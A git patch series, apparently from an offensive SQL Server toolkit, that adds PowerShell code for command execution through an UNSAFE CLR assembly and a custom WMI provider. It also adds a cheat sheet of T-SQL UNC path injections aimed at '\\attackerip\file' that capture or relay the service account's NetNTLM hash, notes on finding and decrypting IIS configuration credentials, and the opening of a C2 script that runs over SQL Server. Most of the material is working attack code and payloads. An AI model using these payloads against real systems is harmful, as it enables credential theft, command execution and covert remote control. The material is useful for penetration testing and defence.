[system.management]") + $null = $stringBuilder0.AppendLine("from 'C:\windows\Microsoft.NET\Framework\v4.0.30319\System.Management.dll'") + $null = $stringBuilder0.AppendLine("with permission_set = unsafe") + $stringBuilder0cmd= $stringBuilder0.ToString() -join "" + $Result0 = Get-SQLQuery -ReturnError -Instance $Instance -Query $stringBuilder0cmd -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -Database msdb + + # Set paths to CLR dll + $assemblyFile = "$OutDir\$ClrFileName.dll" + + # Generate TSQL CREATE ASSEMBLY string + Write-Verbose -Message "$Instance : Generating CREATE ASSEMBLY TSQL from SQL Server CLR DLL" + $stringBuilder1 = New-Object -Type System.Text.StringBuilder + $stringBuilder1.Append("CREATE ASSEMBLY [") > $null + $stringBuilder1.Append($AssemblyName) > $null + $stringBuilder1.Append("] AUTHORIZATION [dbo] FROM `n0x") > $null + $fileStream = [IO.File]::OpenRead($assemblyFile) + while (($byte = $fileStream.ReadByte()) -gt -1) { + $stringBuilder1.Append($byte.ToString("X2")) > $null + } + $fileStream.Close() + $fileStream.Dispose() + $null = $stringBuilder1.AppendLine("`nWITH PERMISSION_SET = UNSAFE") + $stringBuilder1cmd= $stringBuilder1.ToString() -join "" + + # Execute CREATE ASSEMBLY string + Write-Verbose -Message "$Instance : Executing CREATE ASSEMBLY TSQL on SQL Server" + $Result1 = Get-SQLQuery -ReturnError -Instance $Instance -Query $stringBuilder1cmd -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -Database msdb + + # Create CREATE PROCEDURE string + Write-Verbose -Message "$Instance : Generating CREATE PROCEDURE TSQL" + $stringBuilder2 = New-Object -Type System.Text.StringBuilder + $null = $stringBuilder2.AppendLine("CREATE PROCEDURE [dbo].[$ProcName] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [$AssemblyName].[$ClassName].[$MethodName];") + $stringBuilder2cmd= $stringBuilder2.ToString() -join "" + + # Execute CREATE PROCEDURE string + Write-Verbose -Message "$Instance : Executing CREATE PROCEDURE TSQL on SQL Server" + $Result2 = Get-SQLQuery -ReturnError -Instance $Instance -Query $stringBuilder2cmd -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -Database msdb + + # Create execute procedure string + Write-Verbose -Message "$Instance : Generating exec statement for CLR sp in TSQL" + $stringBuilder3 = New-Object -Type System.Text.StringBuilder + $null = $stringBuilder3.AppendLine("EXEC[dbo].[$ProcName] 'whoami'") + $stringBuilder3cmd= $stringBuilder3.ToString() -join "" + + # Execute sp string + Write-Verbose -Message "$Instance : Executing CLR sp on SQL Server (which will install the custom wmi provider and run the target wmi method)" + $CmdResults = Get-SQLQuery -Instance $Instance -Query $stringBuilder3cmd -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -Database msdb + + # Status user + Write-Verbose -Message "$Instance : Dest WMI filename on sql server: c:\windows\system32\wbem\$WmiFileName.dll" + Write-Verbose -Message "$Instance : manual wmic command: invoke-wmimethod -class Win32_$WMIClass -Name $WMIMethod" + + + # Execute OS command + # $CmdResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -Database "MSDB" | Select-Object -Property output -ExpandProperty output + + # Display results or add to final results table + if($RawResults) + { + [string]$CmdResults.output + } + else + { + $null = $TblResults.Rows.Add($ComputerName, $Instance, [string]$CmdResults.output) + } + + # Remove procedure and assembly + Get-SQLQuery -Instance $Instance -Query "DROP PROCEDURE cmd_exec" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -Database "MSDB" + Get-SQLQuery -Instance $Instance -Query "DROP ASSEMBLY cmd_exec" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -Database "MSDB" + #> + + # Restore CLR state if needed + if($DisableCLR -eq 1) + { + Write-Verbose -Message "$Instance : Disabling CLR" + Get-SQLQuery -Instance $Instance -Query "sp_configure 'CLR Enabled',0;RECONFIGURE" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose + } + + # Restore Show Advanced Options state if needed + if($DisableShowAdvancedOptions -eq 1) + { + Write-Verbose -Message "$Instance : Disabling Show Advanced Options" + Get-SQLQuery -Instance $Instance -Query "sp_configure 'Show Advanced Options',0;RECONFIGURE" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose + } + + # Close connection + $Connection.Close() + + # Dispose connection + $Connection.Dispose() + } + catch + { + # Connection failed + + if(-not $SuppressVerbose) + { + $ErrorMessage = $_.Exception.Message + Write-Verbose -Message "$Instance : Connection Failed." + #Write-Verbose " Error: $ErrorMessage" + } + + # Add record + $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Not Accessible') + } + } + + # Run scriptblock using multi-threading + $PipelineItems | Invoke-Parallel -ScriptBlock $MyScriptBlock -ImportSessionFunctions -ImportVariables -Throttle $Threads -RunspaceTimeout 2 -Quiet -ErrorAction SilentlyContinue + + return $TblResults + } +} From bef9a7f2b927238e660d8956a9e5b5a2df724747 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Thu, 17 May 2018 11:05:39 -0500 Subject: [PATCH 06/27] Create ConnectionStringCheatSheet.txt --- templates/ConnectionStringCheatSheet.txt | 184 +++++++++++++++++++++++ 1 file changed, 184 insertions(+) create mode 100644 templates/ConnectionStringCheatSheet.txt diff --git a/templates/ConnectionStringCheatSheet.txt b/templates/ConnectionStringCheatSheet.txt new file mode 100644 index 0000000..fcf3adc --- /dev/null +++ b/templates/ConnectionStringCheatSheet.txt @@ -0,0 +1,184 @@ +Below is a cheatsheet for creating SQL Server client connection strings and finding them in common configuration files. + +------------------------------------------------------------------ +CREATING CONNECTION STRINGS +------------------------------------------------------------------ + +---------------------- +Authentication Options +---------------------- + +Current Windows Account +Server=Server\Instance;Database=Master;Integrated Security=SSPI;Connection Timeout=1" + +Provided Windows Account +Server=Server\Instance;Database=Master;Integrated Security=SSPI;Connection Timeout=1;uid=Domain\Account;pwd=Password;" + +Provided SQL Login +Server=Server\Instance;Database=Master;Connection Timeout=1;User ID=Username;Password=Password;" + + +----------------------- +Connection Type Options +----------------------- + +TCP/IP +Server=TCP:Server\Instance;Database=Master;Integrated Security=SSPI;Connection Timeout=1" + +Named Pipes +Connecting to instances by name, forcing a named pipes connection. +Server=np:Server;Database=Master;Integrated Security=SSPI;Connection Timeout=1" +Server=np:Server\Instance;Database=Master;Integrated Security=SSPI;Connection Timeout=1" +Default instance: Server=\\APPHOST\pipe\unit\app;Database=Master;Integrated Security=SSPI;Connection Timeout=1" +Named instance: Server=\\APPHOST\pipe\MSSQL$SQLEXPRESS\SQL\query;Database=Master;Integrated Security=SSPI;Connection Timeout=1" + +VIA +Server=via:Server\Instance;Database=Master;Integrated Security=SSPI;Connection Timeout=1" + +Shared Memory +Server=lpc:Servername\Instance;Database=Master;Integrated Security=SSPI;Connection Timeout=1" +Server=(local);Database=Master;Integrated Security=SSPI;Connection Timeout=1" +Server=(.);Database=Master;Integrated Security=SSPI;Connection Timeout=1" + +Dedicated Admin Connection +Server=DAC:Server\Instance;Database=Master;Integrated Security=SSPI;Connection Timeout=1" + + +----------------------- +Other Options +----------------------- + +Spoof Application Client +Data Source=(local);Initial Catalog=AdventureWorks;Integrated Security=True;Application Name="My Application" +Data Source=(local);Initial Catalog=AdventureWorks;Integrated Security=True;ApplicationName=".Net SqlClient Data Provider" +determine app name in sql server: select APP_NAME() + +Set Encryption +Driver='ODBC Driver 11 for SQL Server';Server=ServerNameHere;Encrypt=YES;TrustServerCertificate=YES +Data Source=(local);Initial Catalog=AdventureWorks;Integrated Security=True;Application Name="My Application";Encrypt=Yes + +Encrypt Flag Notes: +Data sent between client and server is encrypted using SSL. The name (or IP address) in a Subject Common Name (CN) or +Subject Alternative Name (SAN) in a SQL Server SSL certificate should exactly match the server name (or IP address) +specified in the connection string. + +Set Packet Size +https://msdn.microsoft.com/en-us/library/system.data.sqlclient.sqlconnection.packetsize(v=vs.110).aspx +Note: This could potentially be used to obfuscate malicious payloads from network IDS going over unencrypted connections. +"Data Source=(local);Initial Catalog=AdventureWorks;Integrated Security=SSPI;Packet Size=512" + +----------------------- +Online References +----------------------- + +https://msdn.microsoft.com/en-us/library/ms130822.aspx +https://msdn.microsoft.com/en-us/library/ms188642.aspx +https://technet.microsoft.com/en-us/library/ms191260(v=sql.105).aspx +https://technet.microsoft.com/en-us/library/ms187662(v=sql.105).aspx +https://technet.microsoft.com/en-us/library/ms189307(v=sql.105).aspx +https://technet.microsoft.com/en-us/library/ms178068(v=sql.105).aspx +https://technet.microsoft.com/en-us/library/ms189595(v=sql.105).aspx +https://msdn.microsoft.com/en-us/library/ms254500(v=vs.110).aspx +https://msdn.microsoft.com/en-us/library/hh568455(v=sql.110).aspx +https://msdn.microsoft.com/en-us/library/system.data.sqlclient.sqlconnectionstringbuilder(v=vs.110).aspx +https://msdn.microsoft.com/en-us/library/system.data.sqlclient.sqlconnectionstringbuilder.applicationname(v=vs.110).aspx +https://www.connectionstrings.com/sql-server/ + + +------------------------------------------------------------------ +FINDING CONNECTION STRINGS +------------------------------------------------------------------ + +----------------------- +ODBC/DNS Notes +----------------------- +https://technet.microsoft.com/en-us/library/hh771015.aspx +https://technet.microsoft.com/en-us/library/hh771014.aspx + +Get all install ODBC drivers +Get-OdbcDriver + +Get all install ODBC drivers for SQL Server that are 64 bit +Get-OdbcDriver -Name "SQL Server*" -Platform "64-bit" + +Get all ODBC User DSNs for specified driver +$DsnArray = Get-OdbcDsn -DriverName "SQL Server*" + +Get ODBC System DSNs by name +Get-OdbcDsn -Name "MyPayroll" -DsnType "System" -Platform "32-bit" + +Get ODBC DSNs with names that contain a string +Get-OdbcDsn -Name "*Payroll*" + + +------------------------------- +Universal Data Link (UDL) Files +------------------------------- +https://msdn.microsoft.com/en-us/library/e38h511e(v=vs.71).aspx + +.UDL files often contain connection strings in a format similar to: + +[oledb] +; Everything after this line is an OLE DB initstring +Provider=SQLOLEDB.1;Persist Security Info=False;Data Source=servername;Initial Catalog=Northwind;Integrated Security=SSPI + +Finding UDL files +c: +cd \ +dir /s /b *.udl +Get-ChildItem -Path C:\ -Filter *.udl -Recurse | select fullname + + +------------------------------ +ApplicationHost.config Files +------------------------------ +https://blog.netspi.com/decrypting-iis-passwords-to-break-out-of-the-dmz-part-2/ + +Decrypt Entire Config File +-- +1. List application pools. + +appcmd list apppools +appcmd list apppools /text:MyTestPool + +2. Get clearext configuration file for specific pool. + +appcmd list apppool "MyTestPool" /text:* + +Decrypt Virtual Directory and Application Credentials in Config File +-- +1. List virtual directories. + +appcmd list vdir + +2. List configuration content. + +appcmd list vdir "Bike Shop/" /text:* + +------------------------------ +Web.config Files +------------------------------ +https://blog.netspi.com/decrypting-iis-passwords-to-break-out-of-the-dmz-part-1/#2 + +Finding web.config files +-- +c: +cd \ +dir /s /b web.config +Get-ChildItem -Path C:\ -Filter web.config -Recurse | select fullname + +Finding registered web.config files via appcmd.exe +-- +Common Paths: +C:\Program Files\IIS Express\appcmd.exe +C:\Program Files (x86)\IIS Express\appcmd.exe +%windir%\system32\inetsrv\appcmd + +Common Commands: +%windir%\system32\inetsrv\appcmd list vdir +dir /s /b v | find /I "web.config" + +Decrypted Web.config with aspnet_regiis.exe +-- +C:\Windows\Microsoft\.NETFrameworkv\2.0.50727\aspnet_regiis.exe -pdf "connectionStrings" c:\MyTestSite + From a1bc34cba6edc0bc0944b0fbd257ebed29ce8acc Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Thu, 17 May 2018 11:06:29 -0500 Subject: [PATCH 07/27] Create UncPathInjectionCheatSheet.txt --- templates/UncPathInjectionCheatSheet.txt | 221 +++++++++++++++++++++++ 1 file changed, 221 insertions(+) create mode 100644 templates/UncPathInjectionCheatSheet.txt diff --git a/templates/UncPathInjectionCheatSheet.txt b/templates/UncPathInjectionCheatSheet.txt new file mode 100644 index 0000000..f2df2de --- /dev/null +++ b/templates/UncPathInjectionCheatSheet.txt @@ -0,0 +1,221 @@ +This is a list of SQL Server commands that support UNC path [injections] by default. +The injections can be used to capture or replay the NetNTLM password hash of the +Windows account used to run the SQL Server service. The SQL Server service account +has sysadmin privileges by default in all versions of SQL Server. + +Note: This list is most likely not complete. + +----------------------------------------------------------------------- +-- UNC Path Injections Executable by the Public Fixed Server Role +----------------------------------------------------------------------- +-- Note: All are supported by SQL Server 2000 to 2016 (excluding azure) + +-- XP_DIRTREE Extended Stored Procedure +-- Fix: "revoke execute on xp_dirtree to public" + +xp_dirtree '\\attackerip\file' +GO + +-- XP_FILEEXIST Extended Stored Procedure +-- Fix: "revoke execute on xp_fileexist to public" + +xp_fileexist '\\attackerip\file' +GO + +-- BACKUP Command +-- Note: The Public role can't actually execute the backup, but the UNC path is resolved prior to the authorization check. +-- Fix: https://technet.microsoft.com/library/security/MS16-136, https://technet.microsoft.com/en-us/library/security/mt674627.aspx +-- Fix note: No patch is available for SQL Server 2000 to 2008, because they are on longer supported. Upgrade if this is you. + +BACKUP LOG [TESTING] TO DISK = '\\attackerip\file' +GO + +BACKUP DATABASE [TESTING] TO DISK = '\\attackeri\file' +GO + +-- RESTORE Command +-- Note: The Public role can't actually execute the RESTORE, but the UNC path is resolved prior to the authorization check. +-- Fix: https://technet.microsoft.com/library/security/MS16-136, https://technet.microsoft.com/en-us/library/security/mt674627.aspx +-- Fix note: No patch is available for SQL Server 2000 to 2008, because they are on longer supported. Upgrade if this is you. + +RESTORE LOG [TESTING] FROM DISK = '\\attackerip\file' +GO + +RESTORE DATABASE [TESTING] FROM DISK = '\\attackerip\file' +GO + +RESTORE HEADERONLY FROM DISK = '\\attackerip\file' +GO + +RESTORE FILELISTONLY FROM DISK = '\\attackerip\file' +GO + +RESTORE LABELONLY FROM DISK = '\\attackerip\file' +GO + +RESTORE REWINDONLY FROM DISK = '\\attackerip\file' +GO + +RESTORE VERIFYONLY FROM DISK = '\\attackerip\file' +GO + +------------------------------------------------------ +-- Executable by the Sysadmin fixed server +-- and with other non Public roles / privileges +------------------------------------------------------ +-- Note: Almost every function and stored procedure that supports a file path allows UNC paths by design. + +-- Create assembly +CREATE ASSEMBLY HelloWorld FROM '\\attackerip\file' WITH PERMISSION_SET = SAFE; +GO + +-- Add exteneded stored procedure +sp_addextendedproc 'xp_hello','\\attackerip\file' + +-- Create Certificate +CREATE CERTIFICATE testing123 + FROM EXECUTABLE FILE = '\\attackerip\file'; +GO + +-- Backup Certificate +BACKUP CERTIFICATE test01 TO FILE = '\\attackerip\file' + WITH PRIVATE KEY (decryption by password = 'superpassword', + FILE = '\\attackerip\file', + encryption by password = 'superpassword'); +go + +-- Backup to file - Master Key +BACKUP MASTER KEY TO FILE = '\\attackerip\file' + ENCRYPTION BY PASSWORD = 'password' +GO + +-- Backup to file - Service Master Key +BACKUP SERVICE MASTER KEY TO FILE = '\\attackerip\file' + ENCRYPTION BY PASSWORD = 'password' +go + +-- Restore from file - Master Key +RESTORE MASTER KEY FROM FILE = '\\attackerip\file' + DECRYPTION BY PASSWORD = 'password' + ENCRYPTION BY PASSWORD = 'password' +go + +-- Restore from file - Service Master Key +RESTORE SERVICE MASTER KEY FROM FILE = '\\attackerip\file' + DECRYPTION BY PASSWORD = 'password' +go + +-- Read data from file - Bulk insert 1 +CREATE TABLE #TEXTFILE (column1 NVARCHAR(100)) +BULK INSERT #TEXTFILE FROM '\\attackerip\file' +DROP TABLE #TEXTFILE + +-- Read data from file - Bulk insert 2 +CREATE TABLE #TEXTFILE (column1 NVARCHAR(100)) +BULK INSERT #TEXTFILE FROM '\\attackerip\file' +WITH (FORMATFILE = '\\testing21\file') +DROP TABLE #TEXTFILE + +-- Read data from a file - fn_xe_file_target_read_file +SELECT * FROM sys.fn_xe_file_target_read_file ('\\attackerip\file','\\attackerip\file',null,null) +GO + +-- Read data from a file - fn_get_audit_file +SELECT * FROM sys.fn_get_audit_file ('\\attackerip\file','\\attackerip\file',default,default); +GO + +-- Create Server Audit to File +CREATE SERVER AUDIT TESTING TO FILE ( FILEPATH = '\\attackerip\file'); +GO + +-- Install a cryptographic provider +sp_configure 'EKM provider enabled',1 +RECONFIGURE +GO +CREATE CRYPTOGRAPHIC PROVIDER SecurityProvider FROM FILE = '\\attackerip\file'; +GO + +-- External file format - Azure only +CREATE EXTERNAL FILE FORMAT myfileformat WITH (FORMATFILE = '\\testing21\file'); +GO + +-- xp_subdirs +xp_subdirs '\\attackerip\file' + +-- xp_cmdshell +xp_cmdshell 'dir \\attackerip\file' + + +-- OpenRowSet +General Notes: +- 2k5 and up +- You must be a sysadmin. Running the TSQL below with can be used to capture the SQL Server service account password hash. +- This can also be used to transparently execute commands on remote SQL Servers; IF the servers share a service account and you are running as a sysadmin. This is just exploiting shared service accounts in a new way. + +EXEC sp_configure 'show advanced options', 1 +RECONFIGURE +GO +EXEC sp_configure 'ad hoc distributed queries', 1 +RECONFIGURE +GO + +-- passthrough sql service auth if your a sysadmin +DECLARE @sql NVARCHAR(MAX) +set @sql = 'select a.* from openrowset(''SQLNCLI'', ''Server=evilserver;Trusted_Connection=yes;'', ''select * from master.dbo.sysdatabases'') as a' +select @sql +EXEC sp_executeSQL @sql + +--Excel 2007-2010 (unc injection) +-- requires ad-hoc queries to be enabled, but then it can be run by any login +SELECT * --INTO #productlist +FROM OPENROWSET('Microsoft.ACE.OLEDB.12.0', + 'Excel 12.0 Xml;HDR=YES;Database=\\server\temp\Products.xlsx', + 'SELECT * FROM [ProductList$]'); + +--Excel 97-2003(unc injection) +-- requires ad-hoc queries to be enabled, but then it can be run by any login +SELECT * --INTO #productlist +FROM OPENROWSET('Microsoft.Jet.OLEDB.4.0', + 'Excel 8.0;HDR=YES;Database=\\server\temp\Products.xls', + 'select * from [ProductList$]'); + +Source: https://www.experts-exchange.com/articles/3025/Retrieving-Data-From-Excel-Using-OPENROWSET.html + +--old Excel with new ACE driver - working query 1 (unc injection) +SELECT * --INTO #productlist +FROM OPENROWSET('Microsoft.ACE.OLEDB.12.0', + 'Excel 8.0;HDR=YES;Database=\\server\temp\Products.xls', + 'SELECT * FROM [ProductList$]'); + +--old Excel with new ACE driver - working query 2 (unc injection) +SELECT * --INTO #productlist +FROM OPENROWSET('Microsoft.ACE.OLEDB.12.0', + 'Excel 12.0;HDR=YES;Database=\\server\temp\Products.xls', + 'SELECT * FROM [ProductList$]'); + +--(unc injection) +SELECT * --INTO #productlist +FROM OPENROWSET('Microsoft.ACE.OLEDB.12.0', + 'Excel 12.0 Xml;HDR=YES;Database=\\server\temp\Products.xlsx', + 'SELECT * FROM [ProductList$]'); + +-- requires sysadmin or db_owner role +SELECT * FROM fn_dump_dblog(NULL,NULL,'DISK',1 +,'\\attackerip\fakefile.bak' +,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL +,NULL,NULL,NULL,NULL, NULL,NULL,NULL,NULL,NULL,NULL +,NULL,NULL,NULL,NULL, NULL,NULL,NULL,NULL,NULL,NULL +,NULL,NULL,NULL,NULL, NULL,NULL,NULL,NULL,NULL,NULL +,NULL,NULL,NULL,NULL, NULL,NULL,NULL,NULL,NULL,NULL +,NULL,NULL,NULL,NULL, NULL,NULL,NULL,NULL,NULL,NULL +,NULL,NULL,NULL,NULL) + +--OpenDataSource +-- works on everything since 2k8, requires ad-hoc queries to be enabled, but then it can be run by any login +- Ref: https://msdn.microsoft.com/en-us/library/ms179856.aspx +SELECT * FROM OPENDATASOURCE('Microsoft.Jet.OLEDB.4.0','Data Source=\\server1\DataFolder\Documents\TestExcel.xls;Extended Properties=EXCEL 5.0')...[Sheet1$] ; + +-- Web Dav Notes +xp_dirtree '\\hostname@SSL\test' --ssl 443 +xp_dirtree '\\hostname@SSL@1234\test' --ssl port 1234 +xp_dirtree '\\hostname@1234\test' --http From 4d5612d286d63adc47ded6e666f631556f4ca301 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Thu, 17 May 2018 11:07:26 -0500 Subject: [PATCH 08/27] Rename ConnectionStringCheatSheet.txt to CheatSheet_ConnectionStrings.txt --- ...ctionStringCheatSheet.txt => CheatSheet_ConnectionStrings.txt} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename templates/{ConnectionStringCheatSheet.txt => CheatSheet_ConnectionStrings.txt} (100%) diff --git a/templates/ConnectionStringCheatSheet.txt b/templates/CheatSheet_ConnectionStrings.txt similarity index 100% rename from templates/ConnectionStringCheatSheet.txt rename to templates/CheatSheet_ConnectionStrings.txt From ff12ab4095d1e2b71caf6e4fb6b1e89f6497c4fe Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Thu, 17 May 2018 11:07:51 -0500 Subject: [PATCH 09/27] Rename UncPathInjectionCheatSheet.txt to CheatSheet_UncPathInjection.txt --- ...athInjectionCheatSheet.txt => CheatSheet_UncPathInjection.txt} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename templates/{UncPathInjectionCheatSheet.txt => CheatSheet_UncPathInjection.txt} (100%) diff --git a/templates/UncPathInjectionCheatSheet.txt b/templates/CheatSheet_UncPathInjection.txt similarity index 100% rename from templates/UncPathInjectionCheatSheet.txt rename to templates/CheatSheet_UncPathInjection.txt From 40095f62d8720474d1e711944ba9ed97ff63d8b2 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Thu, 17 May 2018 11:08:11 -0500 Subject: [PATCH 10/27] Rename smo-common-commands.ps1 to CheatSheet_SMO_Commands.ps1 --- .../{smo-common-commands.ps1 => CheatSheet_SMO_Commands.ps1} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename templates/{smo-common-commands.ps1 => CheatSheet_SMO_Commands.ps1} (100%) diff --git a/templates/smo-common-commands.ps1 b/templates/CheatSheet_SMO_Commands.ps1 similarity index 100% rename from templates/smo-common-commands.ps1 rename to templates/CheatSheet_SMO_Commands.ps1 From d1038cd3e4e9ae57cf1cd6e4a76fbedd7990c04b Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Thu, 17 May 2018 11:08:29 -0500 Subject: [PATCH 11/27] Rename VB and JS Scripts to VB and JS Scripts Examples --- templates/{VB and JS Scripts => VB and JS Scripts Examples} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename templates/{VB and JS Scripts => VB and JS Scripts Examples} (100%) diff --git a/templates/VB and JS Scripts b/templates/VB and JS Scripts Examples similarity index 100% rename from templates/VB and JS Scripts rename to templates/VB and JS Scripts Examples From 377f6113d283ea92c1817f805826237bb921d4b7 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Thu, 17 May 2018 13:17:10 -0500 Subject: [PATCH 12/27] Create SQLC2.ps1 --- scripts/pending/SQLC2.ps1 | 1530 +++++++++++++++++++++++++++++++++++++ 1 file changed, 1530 insertions(+) create mode 100644 scripts/pending/SQLC2.ps1 diff --git a/scripts/pending/SQLC2.ps1 b/scripts/pending/SQLC2.ps1 new file mode 100644 index 0000000..812ca93 --- /dev/null +++ b/scripts/pending/SQLC2.ps1 @@ -0,0 +1,1530 @@ +<# + Script: SQLC2.ps1 + Description: This is a basic PoC script that contains functions that can be + used to install and manage a C2 via a SQL Server instance. + The C2 SQL Server is intended to be hosted remotely or in Azure + via a database.windows.net address. The client functions can be + run by a schedule task or other means for periodic check in + and command grabbing from the C2 SQL Server. + Author: Scott Sutherland (@_nullbind), NetSPI 2018 + License: BSD 3-Clause +#> + + +# ---------------------------------- +# Get-SQLConnectionObject +# ---------------------------------- +# Author: Scott Sutherland +Function Get-SQLConnectionObject +{ + <# + .SYNOPSIS + Creates a object for connecting to SQL Server. + .PARAMETER Username + SQL Server or domain account to authenticate with. + .PARAMETER Password + SQL Server or domain account password to authenticate with. + .PARAMETER Credential + SQL Server credential. + .PARAMETER Database + Default database to connect to. + .PARAMETER AppName + Spoof the name of the application you are connecting to SQL Server with. + .EXAMPLE + PS C:\> Get-SQLConnectionObject -Username MySQLUser -Password MySQLPassword + + StatisticsEnabled : False + AccessToken : + ConnectionString : Server=SQLServer1;Database=Master;User ID=MySQLUser;Password=MySQLPassword;Connection Timeout=1 + ConnectionTimeout : 1 + Database : Master + DataSource : SQLServer1 + PacketSize : 8000 + ClientConnectionId : 00000000-0000-0000-0000-000000000000 + ServerVersion : + State : Closed + WorkstationId : SQLServer1 + Credential : + FireInfoMessageEventOnUserErrors : False + Site : + Container : + #> + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + + [Parameter(Mandatory = $false, + HelpMessage = 'Windows credentials.')] + [System.Management.Automation.PSCredential] + [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, + + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + + [Parameter(Mandatory = $false, + HelpMessage = 'Dedicated Administrator Connection (DAC).')] + [Switch]$DAC, + + [Parameter(Mandatory = $false, + HelpMessage = 'Default database to connect to.')] + [String]$Database, + + [Parameter(Mandatory = $false, + HelpMessage = 'Spoof the name of the application your connecting to the server with.')] + [string]$AppName = "Microsoft SQL Server Management Studio - Query", + + [Parameter(Mandatory = $false, + HelpMessage = 'Connection timeout.')] + [string]$TimeOut = 1 + ) + + Begin + { + # Setup DAC string + if($DAC) + { + $DacConn = 'ADMIN:' + } + else + { + $DacConn = '' + } + + # Set database filter + if(-not $Database) + { + $Database = 'Master' + } + + if($AppName){ + $AppNameString = ";Application Name=`"$AppName`"" + }else{ + $AppNameString = "" + } + } + + Process + { + # Check for instance + if ( -not $Instance) + { + $Instance = $env:COMPUTERNAME + } + + # Create connection object + $Connection = New-Object -TypeName System.Data.SqlClient.SqlConnection + + # Set authentcation type - current windows user + if(-not $Username){ + + # Set authentication type + $AuthenticationType = "Current Windows Credentials" + + # Set connection string + $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;Connection Timeout=1 $AppNameString" + } + + # Set authentcation type - provided windows user + if ($username -like "*\*"){ + $AuthenticationType = "Provided Windows Credentials" + + # Setup connection string + $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;uid=$Username;pwd=$Password;Connection Timeout=$TimeOut $AppNameString" + } + + # Set authentcation type - provided sql login + if (($username) -and ($username -notlike "*\*")){ + + # Set authentication type + $AuthenticationType = "Provided SQL Login" + + # Setup connection string + $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;User ID=$Username;Password=$Password;Connection Timeout=$TimeOut $AppNameString" + } + + # Return the connection object + return $Connection + } + + End + { + } +} + + +# ---------------------------------- +# Get-SQLQuery +# ---------------------------------- +# Author: Scott Sutherland +Function Get-SQLQuery +{ + <# + .SYNOPSIS + Executes a query on target SQL servers. + .PARAMETER Username + SQL Server or domain account to authenticate with. + .PARAMETER Password + SQL Server or domain account password to authenticate with. + .PARAMETER Credential + SQL Server credential. + .PARAMETER Instance + SQL Server instance to connection to. + .PARAMETER DAC + Connect using Dedicated Admin Connection. + .PARAMETER Database + Default database to connect to. + .PARAMETER TimeOut + Connection time out. + .PARAMETER SuppressVerbose + Suppress verbose errors. Used when function is wrapped. + .PARAMETER Threads + Number of concurrent threads. + .PARAMETER Query + Query to be executed on the SQL Server. + .PARAMETER AppName + Spoof the name of the application you are connecting to SQL Server with. + .EXAMPLE + PS C:\> Get-SQLQuery -Verbose -Instance "SQLSERVER1.domain.com\SQLExpress" -Query "Select @@version" -Threads 15 + .EXAMPLE + PS C:\> Get-SQLQuery -Verbose -Instance "SQLSERVER1.domain.com,1433" -Query "Select @@version" -Threads 15 + .EXAMPLE + PS C:\> Get-SQLInstanceDomain | Get-SQLQuery -Verbose -Query "Select @@version" -Threads 15 + #> + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + + [Parameter(Mandatory = $false, + HelpMessage = 'Windows credentials.')] + [System.Management.Automation.PSCredential] + [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, + + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server query.')] + [string]$Query, + + [Parameter(Mandatory = $false, + HelpMessage = 'Connect using Dedicated Admin Connection.')] + [Switch]$DAC, + + [Parameter(Mandatory = $false, + HelpMessage = 'Default database to connect to.')] + [String]$Database, + + [Parameter(Mandatory = $false, + HelpMessage = 'Connection timeout.')] + [int]$TimeOut, + + [Parameter(Mandatory = $false, + HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] + [switch]$SuppressVerbose, + + [Parameter(Mandatory = $false, + HelpMessage = 'Spoof the name of the application your connecting to the server with.')] + [string]$AppName = "", + + [Parameter(Mandatory = $false, + HelpMessage = 'Return error message if exists.')] + [switch]$ReturnError + ) + + Begin + { + # Setup up data tables for output + $TblQueryResults = New-Object -TypeName System.Data.DataTable + } + + Process + { + # Setup DAC string + if($DAC) + { + # Create connection object + $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -DAC -Database $Database -AppName $AppName + } + else + { + # Create connection object + $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -Database $Database -AppName $AppName + } + + # Parse SQL Server instance name + $ConnectionString = $Connection.Connectionstring + $Instance = $ConnectionString.split(';')[0].split('=')[1] + + # Check for query + 